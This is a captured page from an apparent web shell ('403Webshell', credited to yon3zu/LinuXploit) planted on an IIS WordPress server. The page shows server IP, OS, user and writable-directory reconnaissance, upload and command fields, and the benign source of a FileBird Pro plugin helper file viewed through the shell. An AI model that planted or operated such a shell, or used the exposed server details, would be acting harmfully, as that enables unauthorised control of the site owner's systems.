403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/KnowledgeBase/wp-content/plugins/filebird-pro/includes/Classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/KnowledgeBase/wp-content/plugins/filebird-pro/includes/Classes/Helpers.php
<?php
namespace FileBird\Classes;

defined( 'ABSPATH' ) || exit;

class Helpers {
	protected static $instance = null;

	public static function getInstance() {
		if ( null == self::$instance ) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	public static function sanitize_array( $var ) {
		if ( is_array( $var ) ) {
			return array_map( 'self::sanitize_array', $var );
		} else {
			return is_scalar( $var ) ? sanitize_text_field( $var ) : $var;
		}
	}
	public static function getAttachmentIdsByFolderId( $folder_id ) {
		global $wpdb;
		return $wpdb->get_col( 'SELECT `attachment_id` FROM ' . $wpdb->prefix . 'fbv_attachment_folder WHERE `folder_id` = ' . (int) $folder_id );
	}

	public static function getAttachmentCountByFolderId( $folder_id ) {
		return Tree::getCount( $folder_id );
	}

	public static function view( $path, $data = array() ) {
		extract( $data );
		ob_start();
		include_once NJFB_PLUGIN_PATH . 'views/' . $path . '.php';
		return ob_get_clean();
	}

	public static function isActivated() {
		$code  = get_option( 'filebird_code', '' );
		$email = get_option( 'filebird_email', '' );
		return ( $code != '' && $email != '' );
	}

	public static function isListMode() {
		if ( function_exists( 'get_current_screen' ) ) {
			$screen = get_current_screen();
			return ( isset( $screen->id ) && 'upload' == $screen->id );
		}
		return false;
	}

	public static function wp_kses_i18n( $string ) {
		return wp_kses(
            $string,
            array(
				'strong' => array(),
				'a'      => array(
					'target' => array(),
					'href'   => array(),
				),
			)
            );
	}

	public static function findFolder( $folder_id, $tree ) {
		$folder = null;
		foreach ( $tree as $k => $v ) {
			if ( $v['id'] == $folder_id ) {
				$folder = $v;
				break;
			} else {
				$folder = self::findFolder( $folder_id, $v['children'] );
				if ( ! is_null( $folder ) ) {
					break;
				} else {
					continue;
				}
			}
		}
		return $folder;
	}

	public static function getCountPostsWithTerm( $post_type, $term_id, $taxonomy ) {
		global $wpdb;
		$query = $wpdb->prepare(
            "SELECT COUNT(*) FROM $wpdb->posts p
			INNER JOIN $wpdb->term_relationships tr ON (p.ID = tr.object_id)
			INNER JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id)
			WHERE p.post_type = %s AND (post_status = 'publish' OR post_status = 'draft') AND tt.taxonomy = %s AND tt.term_id = %d;",
			$post_type,
			$taxonomy,
			$term_id
            );
		return (int) $wpdb->get_var( $query );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit